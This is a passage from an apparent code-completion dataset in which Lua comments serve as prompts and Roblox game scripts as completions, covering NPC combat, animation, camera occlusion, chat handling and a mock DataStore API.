currentAnimSpeed\n\t\t\tplayAnimation(repeatAnim, 0.15, Humanoid)\n\t\t\tsetAnimationSpeed(animSpeed)\n\t\tend\n\tend\nend\n\nfunction rollAnimation(animName)\n\tlocal roll = math.random(1, animTable[animName].totalWeight) \n\tlocal origRoll = roll\n\tlocal idx = 1\n\twhile (roll > animTable[animName][idx].weight) do\n\t\troll = roll - animTable[animName][idx].weight\n\t\tidx = idx + 1\n\tend\n\treturn idx\nend\n\nfunction playToyAnimation(AnimName) \n\tlocal ToyObject = Figure:FindFirstChild(\"Toy\");\n\t\n\tif ( ToyObject and ToyObject:FindFirstChild(\"AnimationController\") ) then\n\t\t\n\t\tlocal AnimController = ToyObject.AnimationController;\n\t\tlocal AnimObject = ToyObject.AnimationObjects:FindFirstChild(AnimName);\n\t\tif ( AnimObject ) then\n\t\t\t\n\t\t\tif ( CurrentToyAnimation ~= nil ) then\n\t\t\t\tCurrentToyAnimation:Stop();\n\t\t\t\tCurrentToyAnimation:Destroy();\n\t\t\t\tCurrentToyAnimation = nil;\n\t\t\tend\n\t\t\t\n\t\t\tlocal AnimTrack = AnimController.Animator:LoadAnimation( AnimObject );\n\t\t\tAnimTrack:Play();\n\t\t\tCurrentToyAnimation = AnimTrack;\n\t\tend\n\t\t\n\tend\n\t\nend\n\nfunction playAnimation(animName, transitionTime, humanoid) \n\t\t\n\tlocal idx = rollAnimation(animName)\n\t"} +{"prompt": "---------------------------------------------------------------\n-- \n-- \u043a\u0440\u0443\u0442\u0438\u043c \u043b\u043e\u043f\u0430\u0441\u0442\u044f\u043c\u0438 \n-- \n---------------------------------------------------------------", "completion": "\nlocal Players = game:GetService(\"Players\") -- \u0431\u0435\u0440\u0451\u043c \u0441\u0441\u044b\u043b\u043a\u0443 \u043d\u0430 \u0441\u043f\u0438\u0441\u043e\u043a \u0438\u0433\u0440\u043e\u043a\u043e\u0432\n\nme=script.Parent\nplr=Players:FindFirstChild(me.Owner.Value)\n\n\nangle=0 -- \u0443\u0433\u043e\u043b \u043f\u043e\u0432\u043e\u0440\u043e\u0442\u0430\nDELTA=me.Config.SpeedAttack.Value + me.Config.SpeedAttackAdd.Value * plr.VAR.turSpeed.Value\n\nlocal hits=script.Hit:Clone()\n"} +{"prompt": "--attack function", "completion": "\nfunction attack()\n\tfor i,v in pairs(workspace:GetChildren()) do\n\t\tif v:FindFirstChild(\"Humanoid\") then\n\t\t\tif v ~= script.Parent then\n\t\t\t\tif (v.Head.Position - script.Parent.Head.Position).Magnitude < damagerange then\n\t\t\t\t\tv.Humanoid:TakeDamage(damage)\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend\n\twait(0.3)\nend\nfunction heardetect(part)\n\tlocal target = nil\n\tlocal Beam = Instance.new(\"Part\", script.debris)\n\tBeam.Anchored = true\n\tBeam.CanCollide = false\n\tBeam.Color = Color3.fromRGB(255, 150, 150)\n\tBeam.Material = Enum.Material.Neon\n\tBeam.Name = \"LaserBeam\"\n\tBeam.Transparency = 1\n\tlocal Object = script.Parent.Head\n\tlocal Raycast = Ray.new(Object.CFrame.p, CFrame.new(Object.CFrame.Position, part.Position).LookVector * distance)\n\tlocal Part, Position = game.Workspace:FindPartOnRayWithIgnoreList(Raycast, {Object, Beam, script.debris}, false, true)\n\tlocal Distance = (Object.CFrame.p - Position).Magnitude\n\tif visibleray == true then\n\t\tBeam.Size = Vector3.new(0.1, 0.1, Distance)\n\t\tBeam.CFrame = CFrame.new(Object.CFrame.Position, part.Position) * CFrame.new(0, 0, -Distance/2)\n\t\tBeam.Transparency = 0\n\telse\n\t\tBeam:Destroy()\n\tend\n\tif Part ~= nil then\n\t\tif game.Players:GetPlayerFromCharacter(Part.Parent) or game.Players:GetPlayerFromCharacter(Part.Parent.Parent) then\n\t\t\t--script.Parent.Humanoid:MoveTo(Part.Position)\n\t\t\tGoTo(part.Position)\n\t\t\tif (part.Position - script.Parent.Head.Position).Magnitude < damagerange then\n\t\t\t\tattack()\n\t\t\tend\n\t\t\tBeam.BrickColor = BrickColor.new(\"Bright blue\")\n\t\telse\n\t\t\tBeam.BrickColor = BrickColor.new(\"Really red\")\n\t\tend\n\telse\n\t\tBeam.BrickColor = BrickColor.new(\"White\")\n\tend\n\twait()\nend\nwhile wait() do\n\tlocal maxDistance = distance\n\tfor i,v in pairs(workspace:GetChildren()) do\n\t\tif v:FindFirstChild(\"Humanoid\") then\n\t\t\tif (v.Head.Position-script.Parent.Head.Position).magnitude < maxDistance then\n\t\t\t\tif v ~= script.Parent then\n\t\t\t\t\theardetect(v.Head)\n\t\t\t\tend\n\t\t\telse\n\t\t\t\twander()\n\t\t\tend\n\t\tend\n\tend\nend\n"} +{"prompt": "--- Creates callbacks and sets up initial state.", "completion": "\nfunction ScopeHierarchyItemButton:init()\n self.Maid = Maid.new()\n self.LayoutRef = Roact.createRef()\n self.ContainerSize, self.UpdateContainerSize = Roact.createBinding(UDim2.new(0, 0, 1, 0))\n\n --- Processes clicks, triggers scope change\n function self.OnClicked()\n self.props.SetScopeFromButton(self.props.Instance)\n end\n\n -- Set initial state\n self:UpdateInstanceState()\nend\n\nlocal ClassIconPositions = {\n Part = Vector2.new(2, 1);\n MeshPart = Vector2.new(4, 8);\n UnionOperation = Vector2.new(4, 8);\n NegateOperation = Vector2.new(3, 8);\n VehicleSeat = Vector2.new(6, 4);\n Seat = Vector2.new(6, 4);\n TrussPart = Vector2.new(2, 1);\n CornerWedgePart = Vector2.new(2, 1);\n WedgePart = Vector2.new(2, 1);\n SpawnLocation = Vector2.new(6, 3);\n Model = Vector2.new(3, 1);\n Folder = Vector2.new(8, 8);\n Tool = Vector2.new(8, 2);\n Workspace = Vector2.new(10, 2);\n Accessory = Vector2.new(3, 4);\n Accoutrement = Vector2.new(3, 4);\n}\n"} +{"prompt": "-- returns the angles needed to have the npc look at a target", "completion": "\n\nlocal function lookAt(target)\n\tlocal eye = (hrp.CFrame * CFrame.new(0, 3, 0)):pointToObjectSpace(target).unit;\n\tlocal horizontal = -math.atan2(eye.x, -eye.z);\n\tlocal vertical = math.asin(eye.y);\n\t\n\tlocal goal = Vector3.new();\n\tif not (math.abs(horizontal) > settings.horizontalRange or math.abs(vertical) > settings.verticalRange) then\n\t\tlocal hsign, habs = math.sign(horizontal), math.abs(horizontal);\n\t\tlocal hneck, hwaist = habs*0.5, habs*0.5;\n\t\t\n\t\tif (hwaist > settings.maxHorizontalWaist) then\n\t\t\tlocal remainder = hwaist - settings.maxHorizontalWaist;\n\t\t\thwaist = settings.maxHorizontalWaist;\n\t\t\thneck = math.clamp(hneck + remainder, 0, settings.maxHorizontalHead);\n\t\tend\n\t\t\n\t\tgoal = Vector3.new(hsign*hneck, hsign*hwaist, vertical);\n\tend\n\t\n\treturn goal;\nend\n"} +{"prompt": "-- Anything parented to this script's parent will be lit up!", "completion": "\n \nMaxFlickerWait = 30\nMinFlickerWait = 10\nAllow = false\nfunction Change(Mode)\n for _,i in pairs (script.Parent:GetChildren()) do\n if i:IsA(\"BasePart\") then\n if Mode then\n i.Material = \"Neon\"\n else\n i.Material = \"SmoothPlastic\"\n end\n elseif i:IsA(\"Model\") then\n for _,i in pairs (i:GetChildren()) do\n if Mode then\n i.Material = \"Neon\"\n else\n i.Material = \"SmoothPlastic\"\n end\n end\n end\n end\nend\nscript.On.Changed:connect(function()\n if script.On.Value then\n Allow = true\n Change(true)\n else\n Allow = false\n Change(false)\n end\nend)\nwhile wait(math.random(MinFlickerWait,MaxFlickerWait)) do\n if Allow then\n local function Check() if not Allow then return end end\n local WaitTime = .5\n Change(false)\n wait(WaitTime/2); Check();\n Change(true)\n wait(WaitTime); Check()\n Change(false)\n wait(WaitTime*1.5); Check()\n Change(true)\n wait(WaitTime); Check()\n Change(false)\n wait(WaitTime/5); Check()\n Change(true)\n wait(WaitTime); Check()\n Change(false)\n wait(WaitTime/8); Check()\n Change(true)\n end\nend\n"} +{"prompt": "--// Event for making player say chat message.", "completion": "\nfunction chatBarFocusLost(enterPressed, inputObject)\n\tDoBackgroundFadeIn()\n\tchatBarFocusChanged:Fire(false)\n\n\tif (enterPressed) then\n\t\tlocal message = ChatBar:GetTextBox().Text\n\n\t\tif ChatBar:IsInCustomState() then\n\t\t\tlocal customMessage = ChatBar:GetCustomMessage()\n\t\t\tif customMessage then\n\t\t\t\tmessage = customMessage\n\t\t\tend\n\t\t\tlocal messageSunk = ChatBar:CustomStateProcessCompletedMessage(message)\n\t\t\tChatBar:ResetCustomState()\n\t\t\tif messageSunk then\n\t\t\t\treturn\n\t\t\tend\n\t\tend\n\n\t\tChatBar:GetTextBox().Text = \"\"\n\n\t\tif message ~= \"\" then\n\t\t\t--// Sends signal to eventually call Player:Chat() to handle C++ side legacy stuff.\n\t\t\tmoduleApiTable.MessagePosted:fire(message)\n\n\t\t\tif not CommandProcessor:ProcessCompletedChatMessage(message, ChatWindow) then\n\t\t\t\tif ChatSettings.DisallowedWhiteSpace then\n\t\t\t\t\tfor i = 1, #ChatSettings.DisallowedWhiteSpace do\n\t\t\t\t\t\tif ChatSettings.DisallowedWhiteSpace[i] == \"\\t\" then\n\t\t\t\t\t\t\tmessage = string.gsub(message, ChatSettings.DisallowedWhiteSpace[i], \" \")\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tmessage = string.gsub(message, ChatSettings.DisallowedWhiteSpace[i], \"\")\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\tmessage = string.gsub(message, \"\\n\", \"\")\n\t\t\t\tmessage = string.gsub(message, \"[ ]+\", \" \")\n\n\t\t\t\tlocal targetChannel = ChatWindow:GetTargetMessageChannel()\n\t\t\t\tif targetChannel then\n\t\t\t\t\tMessageSender:SendMessage(message, targetChannel)\n\t\t\t\telse\n\t\t\t\t\tMessageSender:SendMessage(message, nil)\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\n\tend\nend\n\nlocal ChatBarConnections = {}\nfunction setupChatBarConnections()\n\tfor i = 1, #ChatBarConnections do\n\t\tChatBarConnections[i]:Disconnect()\n\tend\n\tChatBarConnections = {}\n\n\tlocal focusLostConnection = ChatBar:GetTextBox().FocusLost:connect(chatBarFocusLost)\n\ttable.insert(ChatBarConnections, focusLostConnection)\n\n\tlocal focusGainedConnection = ChatBar:GetTextBox().Focused:connect(chatBarFocused)\n\ttable.insert(ChatBarConnections, focusGainedConnection)\nend\n\nsetupChatBarConnections()\nChatBar.GuiObjectsChanged:connect(setupChatBarConnections)\n\nfunction getEchoMessagesInGeneral()\n\tif ChatSettings.EchoMessagesInGeneralChannel == nil then\n\t\treturn true\n\tend\n\treturn ChatSettings.EchoMessagesInGeneralChannel\nend\n\nEventFolder.OnMessageDoneFiltering.OnClientEvent:connect(function(messageData)\n\tif not ChatSettings.ShowUserOwnFilteredMessage then\n\t\tif messageData.FromSpeaker == LocalPlayer.Name then\n\t\t\treturn\n\t\tend\n\tend\n\n\tlocal channelName = messageData.OriginalChannel\n\tlocal channelObj = ChatWindow:GetChannel(channelName)\n\tif channelObj then\n\t\tchannelObj:UpdateMessageFiltered(messageData)\n\tend\n\n\tif getEchoMessagesInGeneral() and ChatSettings.GeneralChannelName and channelName ~= ChatSettings.GeneralChannelName then\n\t\tlocal generalChannel = ChatWindow:GetChannel(ChatSettings.GeneralChannelName)\n\t\tif generalChannel then\n\t\t\tgeneralChannel:UpdateMessageFiltered(messageData)\n\t\tend\n\tend\nend)\n\nEventFolder.OnNewMessage.OnClientEvent:connect(function(messageData, channelName)\n\tlocal channelObj = ChatWindow:GetChannel(channelName)\n\tif (channelObj) then\n\t\tchannelObj:AddMessageToChannel(messageData)\n\n\t\tif (messageData.FromSpeaker ~= LocalPlayer.Name) then\n\t\t\tChannelsBar:UpdateMessagePostedInChannel(channelName)\n\t\tend\n\n\t\tif getEchoMessagesInGeneral() and ChatSettings.GeneralChannelName and channelName ~= ChatSettings.GeneralChannelName then\n\t\t\tlocal generalChannel = ChatWindow:GetChannel(ChatSettings.GeneralChannelName)\n\t\t\tif generalChannel then\n\t\t\t\tgeneralChannel:AddMessageToChannel(messageData)\n\t\t\tend\n\t\tend\n\n\t\tmoduleApiTable.MessageCount = moduleApiTable.MessageCount + 1\n\t\tmoduleApiTable.MessagesChanged:fire(moduleApiTable.MessageCount)\n\n\t\tDoFadeInFromNewInformation()\n\tend\nend)\n\nEventFolder.OnNewSystemMessage.OnClientEvent:connect(function(messageData, channelName)\n\tchannelName = channelName or \"System\"\n\n\tlocal channelObj = ChatWindow:GetChannel(channelName)\n\tif (channelObj) then\n\t\tchannelObj:AddMessageToChannel(messageData)\n\n\t\tChannelsBar:UpdateMessagePostedInChannel(channelName)\n\n\t\tmoduleApiTable.MessageCount = moduleApiTable.MessageCount + 1\n\t\tmoduleApiTable.MessagesChanged:fire(moduleApiTable.MessageCount)\n\n\t\tDoFadeInFromNewInformation()\n\n\t\tif getEchoMessagesInGeneral() and ChatSettings.GeneralChannelName and channelName ~= ChatSettings.GeneralChannelName then\n\t\t\tlocal generalChannel = ChatWindow:GetChannel(ChatSettings.GeneralChannelName)\n\t\t\tif generalChannel then\n\t\t\t\tgeneralChannel:AddMessageToChannel(messageData)\n\t\t\tend\n\t\tend\n\telse\n\t\twarn(string.format(\"Just received system message for channel I'm not in [%s]\", channelName))\n\tend\nend)\n\n\nfunction HandleChannelJoined(channel, welcomeMessage, messageLog, channelNameColor, addHistoryToGeneralChannel,\n\taddWelcomeMessageToGeneralChannel)\n\tif ChatWindow:GetChannel(channel) then\n\t\t--- If the channel has already been added, remove it first.\n\t\tChatWindow:RemoveChannel(channel)\n\tend\n\n\tif (channel == ChatSettings.GeneralChannelName) then\n\t\tDidFirstChannelsLoads = true\n\tend\n\n\tif channelNameColor then\n\t\tChatBar:SetChannelNameColor(channel, channelNameColor)\n\tend\n\n\tlocal channelObj = ChatWindow:AddChannel(channel)\n\n\tif (channelObj) then\n\t\tif (channel == ChatSettings.GeneralChannelName) then\n\t\t\tDoSwitchCurrentChannel(channel)\n\t\tend\n\n\t\tif (messageLog) then\n\t\t\tlocal startIndex = 1\n\t\t\tif #messageLog > ChatSettings.MessageHistoryLengthPerChannel then\n\t\t\t\tstartIndex = #messageLog - ChatSettings.MessageHistoryLengthPerChannel\n\t\t\tend\n\n\t\t\tfor i = startIndex, #messageLog do\n\t\t\t\tchannelObj:AddMessageToChannel(messageLog[i])\n\t\t\tend\n\n\t\t\tif getEchoMessagesInGeneral() and addHistoryToGeneralChannel then\n\t\t\t\tif ChatSettings.GeneralChannelName and channel ~= ChatSettings.GeneralChannelName then\n\t\t\t\t\tlocal generalChannel = ChatWindow:GetChannel(ChatSettings.GeneralChannelName)\n\t\t\t\t\tif generalChannel then\n\t\t\t\t\t\tgeneralChannel:AddMessagesToChannelByTimeStamp(messageLog, startIndex)\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\n\t\tif (welcomeMessage ~= \"\") then\n\t\t\tlocal welcomeMessageObject = {\n\t\t\t\tID = -1,\n\t\t\t\tFromSpeaker = nil,\n\t\t\t\tSpeakerUserId = 0,\n\t\t\t\tOriginalChannel = channel,\n\t\t\t\tIsFiltered = true,\n\t\t\t\tMessageLength = string.len(welcomeMessage),\n\t\t\t\tMessageLengthUtf8 = utf8.len(utf8.nfcnormalize(welcomeMessage)),\n\t\t\t\tMessage = trimTrailingSpaces(welcomeMessage),\n\t\t\t\tMessageType = ChatConstants.MessageTypeWelcome,\n\t\t\t\tTime = os.time(),\n\t\t\t\tExtraData = nil,\n\t\t\t}\n\t\t\tchannelObj:AddMessageToChannel(welcomeMessageObject)\n\n\t\t\tif getEchoMessagesInGeneral() and addWelcomeMessageToGeneralChannel and not ChatSettings.ShowChannelsBar then\n\t\t\t\tif channel ~= ChatSettings.GeneralChannelName then\n\t\t\t\t\tlocal generalChannel = ChatWindow:GetChannel(ChatSettings.GeneralChannelName)\n\t\t\t\t\tif generalChannel then\n\t\t\t\t\t\tgeneralChannel:AddMessageToChannel(welcomeMessageObject)\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\n\t\tDoFadeInFromNewInformation()\n\tend\n\nend\n\nEventFolder.OnChannelJoined.OnClientEvent:connect(function(channel, welcomeMessage, messageLog, channelNameColor)\n\tHandleChannelJoined(channel, welcomeMessage, messageLog, channelNameColor, false, true)\nend)\n\nEventFolder.OnChannelLeft.OnClientEvent:connect(function(channel)\n\tChatWindow:RemoveChannel(channel)\n\n\tDoFadeInFromNewInformation()\nend)\n\nEventFolder.OnMuted.OnClientEvent:connect(function(channel)\n\t--// Do something eventually maybe?\n\t--// This used to take away the chat bar in channels the player was muted in.\n\t--// We found out this behavior was inconvenient for doing chat commands though.\nend)\n\nEventFolder.OnUnmuted.OnClientEvent:connect(function(channel)\n\t--// Same as above.\nend)\n\nEventFolder.OnMainChannelSet.OnClientEvent:connect(function(channel)\n\tDoSwitchCurrentChannel(channel)\nend)\n\ncoroutine.wrap(function()\n\t-- ChannelNameColorUpdated may not exist if the client version is older than the server version.\n\tlocal ChannelNameColorUpdated = DefaultChatSystemChatEvents:WaitForChild(\"ChannelNameColorUpdated\", 5)\n\tif ChannelNameColorUpdated then\n\t\tChannelNameColorUpdated.OnClientEvent:connect(function(channelName, channelNameColor)\n\t\t\tChatBar:SetChannelNameColor(channelName, channelNameColor)\n\t\tend)\n\tend\nend)()\n\n"} +{"prompt": "--[=[\n\t@within Signal\n\t@type ConnectionFn (...any) -> ()\n\n\tA function connected to a signal.\n]=]", "completion": "\n"} +{"prompt": "-- map to proximity prompt", "completion": "\nlocal lobbyProximityPrompt = workspace.Level_Geo.Lobby.LobbyConsole.ProximityPrompt\n"} +{"prompt": "--character welds", "completion": "\nlocal larmw\nlocal rarmw\nlocal llegw\nlocal rlegw\nlocal headw\nlocal torsow"} +{"prompt": "--\t", "completion": "\n\tscript.Parent.Handle3.Hinge1.Transparency = 1\n\tscript.Parent.Handle3.Interactive1.Transparency = 1\n\tscript.Parent.Handle3.Part1.Transparency = 1\n\twait(0.03)\nend\n\n\t\t\t\n\t\t\t\n\t\t\t\n\nscript.Parent.Push.ClickDetector.MouseClick:connect(toiletHandle)\n\n"} +{"prompt": "--", "completion": "\nend\nelse\nprint(\"sh\")\nend\nelse\nprint(\"arms\")\nend\nend\nfunction Key(key)\nif key then\nkey = string.lower(key)\nif (key==\"x\") then\nif on == 1 then\non = 0\nelseif on == 0 then\non = 1\nend\nCrouch(on)\nend\nend\nend\nfunction Equip(mouse)\nmouse.KeyDown:connect(Key)\nend\nscript.Parent.Equipped:connect(Equip)\n\n"} +{"prompt": "-- Note: The active transparency controller could be made to listen for this event itself.", "completion": "\nfunction CameraModule:OnCameraSubjectChanged()\n\tlocal camera = workspace.CurrentCamera\n\tlocal cameraSubject = camera and camera.CameraSubject\n\n\tif self.activeTransparencyController then\n\t\tself.activeTransparencyController:SetSubject(cameraSubject)\n\tend\n\n\tif self.activeOcclusionModule then\n\t\tself.activeOcclusionModule:OnCameraSubjectChanged(cameraSubject)\n\tend\n\n\tself:ActivateCameraController(nil, camera.CameraType)\nend\n\nfunction CameraModule:OnCameraTypeChanged(newCameraType: Enum.CameraType)\n\tif newCameraType == Enum.CameraType.Scriptable then\n\t\tif UserInputService.MouseBehavior == Enum.MouseBehavior.LockCenter then\n\t\t\tUserInputService.MouseBehavior = Enum.MouseBehavior.Default\n\t\tend\n\tend\n\n\t-- Forward the change to ActivateCameraController to handle\n\tself:ActivateCameraController(nil, newCameraType)\nend\n"} +{"prompt": "--------------------------------------------------------------------------------", "completion": "\n\nlocal function queryPoint(origin, unitDir, dist, lastPos)\n\tdebug.profilebegin(\"queryPoint\")\n\n\tlocal originalSize = #blacklist\n\n\tdist = dist + nearPlaneZ\n\tlocal target = origin + unitDir*dist\n\n\tlocal softLimit = inf\n\tlocal hardLimit = inf\n\tlocal movingOrigin = origin\n\n\trepeat\n\t\tlocal entryPart, entryPos = workspace:FindPartOnRayWithIgnoreList(ray(movingOrigin, target - movingOrigin), blacklist, false, true)\n\n\t\tif entryPart then\n\t\t\tif canOcclude(entryPart) then\n\t\t\t\tlocal wl = {entryPart}\n\t\t\t\tlocal exitPart = workspace:FindPartOnRayWithWhitelist(ray(target, entryPos - target), wl, true)\n\n\t\t\t\tlocal lim = (entryPos - origin).Magnitude\n\n\t\t\t\tif exitPart then\n\t\t\t\t\tlocal promote = false\n\t\t\t\t\tif lastPos then\n\t\t\t\t\t\tpromote =\n\t\t\t\t\t\t\tworkspace:FindPartOnRayWithWhitelist(ray(lastPos, target - lastPos), wl, true) or\n\t\t\t\t\t\t\tworkspace:FindPartOnRayWithWhitelist(ray(target, lastPos - target), wl, true)\n\t\t\t\t\tend\n\n\t\t\t\t\tif promote then\n\t\t\t\t\t\t-- Ostensibly a soft limit, but the camera has passed through it in the last frame, so promote to a hard limit.\n\t\t\t\t\t\thardLimit = lim\n\t\t\t\t\telseif dist < softLimit then\n\t\t\t\t\t\t-- Trivial soft limit\n\t\t\t\t\t\tsoftLimit = lim\n\t\t\t\t\tend\n\t\t\t\telse\n\t\t\t\t\t-- Trivial hard limit\n\t\t\t\t\thardLimit = lim\n\t\t\t\tend\n\t\t\tend\n\n\t\t\tblacklist[#blacklist + 1] = entryPart\n\t\t\tmovingOrigin = entryPos - unitDir*1e-3\n\t\tend\n\tuntil hardLimit < inf or not entryPart\n\n\teraseFromEnd(blacklist, originalSize)\n\n\tdebug.profileend()\n\treturn softLimit - nearPlaneZ, hardLimit - nearPlaneZ\nend\n\nlocal function queryViewport(focus, dist)\n\tdebug.profilebegin(\"queryViewport\")\n\n\tlocal fP = focus.p\n\tlocal fX = focus.rightVector\n\tlocal fY = focus.upVector\n\tlocal fZ = -focus.lookVector\n\n\tlocal viewport = camera.ViewportSize\n\n\tlocal hardBoxLimit = inf\n\tlocal softBoxLimit = inf\n\n\t-- Center the viewport on the PoI, sweep points on the edge towards the target, and take the minimum limits\n\tfor viewX = 0, 1 do\n\t\tlocal worldX = fX*((viewX - 0.5)*projX)\n\n\t\tfor viewY = 0, 1 do\n\t\t\tlocal worldY = fY*((viewY - 0.5)*projY)\n\n\t\t\tlocal origin = fP + nearPlaneZ*(worldX + worldY)\n\t\t\tlocal lastPos = camera:ViewportPointToRay(\n\t\t\t\tviewport.x*viewX,\n\t\t\t\tviewport.y*viewY\n\t\t\t).Origin\n\n\t\t\tlocal softPointLimit, hardPointLimit = queryPoint(origin, fZ, dist, lastPos)\n\n\t\t\tif hardPointLimit < hardBoxLimit then\n\t\t\t\thardBoxLimit = hardPointLimit\n\t\t\tend\n\t\t\tif softPointLimit < softBoxLimit then\n\t\t\t\tsoftBoxLimit = softPointLimit\n\t\t\tend\n\t\tend\n\tend\n\tdebug.profileend()\n\n\treturn softBoxLimit, hardBoxLimit\nend\n\nlocal function testPromotion(focus, dist, focusExtrapolation)\n\tdebug.profilebegin(\"testPromotion\")\n\n\tlocal fP = focus.p\n\tlocal fX = focus.rightVector\n\tlocal fY = focus.upVector\n\tlocal fZ = -focus.lookVector\n\n\tdo\n\t\t-- Dead reckoning the camera rotation and focus\n\t\tdebug.profilebegin(\"extrapolate\")\n\n\t\tlocal SAMPLE_DT = 0.0625\n\t\tlocal SAMPLE_MAX_T = 1.25\n\n\t\tlocal maxDist = (getCollisionPoint(fP, focusExtrapolation.posVelocity*SAMPLE_MAX_T) - fP).Magnitude\n\t\t-- Metric that decides how many samples to take\n\t\tlocal combinedSpeed = focusExtrapolation.posVelocity.magnitude\n\n\t\tfor dt = 0, min(SAMPLE_MAX_T, focusExtrapolation.rotVelocity.magnitude + maxDist/combinedSpeed), SAMPLE_DT do\n\t\t\tlocal cfDt = focusExtrapolation.extrapolate(dt) -- Extrapolated CFrame at time dt\n\n\t\t\tif queryPoint(cfDt.p, -cfDt.lookVector, dist) >= dist then\n\t\t\t\treturn false\n\t\t\tend\n\t\tend\n\n\t\tdebug.profileend()\n\tend\n\n\tdo\n\t\t-- Test screen-space offsets from the focus for the presence of soft limits\n\t\tdebug.profilebegin(\"testOffsets\")\n\n\t\tfor _, offset in ipairs(SCAN_SAMPLE_OFFSETS) do\n\t\t\tlocal scaledOffset = offset\n\t\t\tlocal pos = getCollisionPoint(fP, fX*scaledOffset.x + fY*scaledOffset.y)\n\t\t\tif queryPoint(pos, (fP + fZ*dist - pos).Unit, dist) == inf then\n\t\t\t\treturn false\n\t\t\tend\n\t\tend\n\n\t\tdebug.profileend()\n\tend\n\n\tdebug.profileend()\n\treturn true\nend\n\nlocal function Popper(focus, targetDist, focusExtrapolation)\n\tdebug.profilebegin(\"popper\")\n\n\tsubjectRoot = subjectPart and subjectPart:GetRootPart() or subjectPart\n\n\tlocal dist = targetDist\n\tlocal soft, hard = queryViewport(focus, targetDist)\n\tif hard < dist then\n\t\tdist = hard\n\tend\n\tif soft < dist and testPromotion(focus, targetDist, focusExtrapolation) then\n\t\tdist = soft\n\tend\n\n\tsubjectRoot = nil\n\n\tdebug.profileend()\n\treturn dist\nend\n\nreturn Popper\n"} +{"prompt": "--[[\n\tHides all ScreenGuis and CoreGuis shown. If the callback `hideOtherGuis`\n\tis defined then that function is called instead.\n]]", "completion": "\nfunction GuiController:hideGuis()\n\tif self.hideOtherGuis and self.hideOtherGuis.isCallbackSet() then\n\t\tself.hideOtherGuis.fireCallback()\n\t\treturn\n\tend\n\n\t-- hideGuis has already been called, no need to hide again until\n\t-- showGuis is called\n\tif #Cryo.Dictionary.keys(self.disabledGuis) ~= 0 then\n\t\treturn\n\tend\n\n\t-- Hide ScreenGuis\n\tself.disabledGuis = self:_getOtherScreenGuis()\n\tfor _, gui in ipairs(self.disabledGuis) do\n\t\tgui.Enabled = false\n\tend\n\n\t-- Hide CoreGuis\n\tself.disabledCoreGuis = self:_getShownCoreGuis()\n\tfor _, gui in ipairs(self.disabledCoreGuis) do\n\t\tself.StarterGui:SetCoreGuiEnabled(gui, false)\n\tend\n\n\t-- Hide mobile controls\n\tself.modalEnabled = self.UserInputService.ModalEnabled\n\tself.UserInputService.ModalEnabled = true\nend\n"} +{"prompt": "-- Services", "completion": "\nlocal starterGui = game:GetService(\"StarterGui\")\n\nwait()\nstarterGui:SetCore(\"ResetButtonCallback\", false)\n"} +{"prompt": "--[[if player.Character:FindFirstChild('WhiteButterfly') == nil then\n\tscript.Parent.Parent.Parent.Parent.ItemFrame.Visible = false\nend]]", "completion": "\n"} +{"prompt": "--", "completion": "\nfunction Sword:Initialize()\n\tSword:Connect()\nend\n"} +{"prompt": "-----------------------------------------------------------------------------------------------------------\n-- API:", "completion": "\n\nfunction API:GetDataStore(name, scope)\n\tassert(type(name) == \"string\", \"DataStore name must be a string; got\" .. type(name))\n\tassert(type(scope) == \"string\" or scope == nil, \"DataStore scope must be a string; got\" .. type(scope))\n\tscope = (scope or \"global\")\n\tif (allStores[scope] and allStores[scope][name]) then\n\t\treturn allStores[scope][name]\n\tend\n\tlocal data = {}\n\tlocal d = {}\n\tlocal updateListeners = {}\n\tfunction d.SetAsync(_s, k, v)\n\t\tassert(v ~= nil, \"Value cannot be nil\")\n\t\tdata[k] = v\n\t\tif (updateListeners[k]) then\n\t\t\tfor _,f in ipairs(updateListeners[k]) do\n\t\t\t\tspawn(function() f(v) end)\n\t\t\tend\n\t\tend\n\tend\n\tfunction d.UpdateAsync(_s, k, func)\n\t\tlocal v = func(data[k])\n\t\tassert(v ~= nil, \"Value cannot be nil\")\n\t\tdata[k] = v\n\t\tif (updateListeners[k]) then\n\t\t\tfor _,f in ipairs(updateListeners[k]) do\n\t\t\t\tspawn(function() f(v) end)\n\t\t\tend\n\t\tend\n\tend\n\tfunction d.GetAsync(_s, k)\n\t\treturn data[k]\n\tend\n\tfunction d.RemoveAsync(_s, k)\n\t\tdata[k] = nil\n\t\tif (updateListeners[k]) then\n\t\t\tfor _,f in ipairs(updateListeners[k]) do\n\t\t\t\tspawn(function() f(nil) end)\n\t\t\tend\n\t\tend\n\tend\n\tfunction d.IncrementAsync(_s, k, delta)\n\t\tif (delta == nil) then delta = 1 end\n\t\tassert(type(delta) == \"number\", \"Can only increment numbers\")\n\t\t_s:UpdateAsync(k, function(num)\n\t\t\tif (num == nil) then\n\t\t\t\treturn num\n\t\t\tend\n\t\t\tassert(type(num) == \"number\", \"Can only increment numbers\")\n\t\t\treturn (num + delta)\n\t\tend)\n\tend\n\tfunction d.OnUpdate(_s, k, onUpdateFunc)\n\t\tassert(type(onUpdateFunc) == \"function\", \"Update function argument must be a function\")\n\t\tif (not updateListeners[k]) then\n\t\t\tupdateListeners[k] = {onUpdateFunc}\n\t\telse\n\t\t\ttable.insert(updateListeners[k], onUpdateFunc)\n\t\tend\n\tend\n\tif (not allStores[scope]) then\n\t\tallStores[scope] = {}\n\tend\n\tallStores[scope][name] = d\n\treturn d\nend\n\n\nfunction API:GetGlobalDataStore()\n\treturn self:GetDataStore(\"global\", \"global\")\nend\n\n\nfunction API:GetOrderedDataStore(name, scope)\n\tlocal dataStore = self:GetDataStore(name, scope)\n\tlocal allData = {}\n\tlocal d = {}\n\tfunction d.GetAsync(_s, k)\n\t\treturn dataStore:GetAsync(k)\n\tend\n\tfunction d.SetAsync(_s, k, v)\n\t\tassert(type(v) == \"number\", \"Value must be a number\")\n\t\tdataStore:SetAsync(k, v)\n\t\tallData[k] = v\n\tend\n\tfunction d.UpdateAsync(_s, k, func)\n\t\tdataStore:UpdateAsync(k, function(oldValue)\n\t\t\tlocal v = func(oldValue)\n\t\t\tassert(type(v) == \"number\", \"Value must be a number\")\n\t\t\tallData[k] = v\n\t\t\treturn v\n\t\tend)\n\tend\n\tfunction d.IncrementAsync(_s, k, delta)\n\t\tdataStore:IncrementAsync(k, 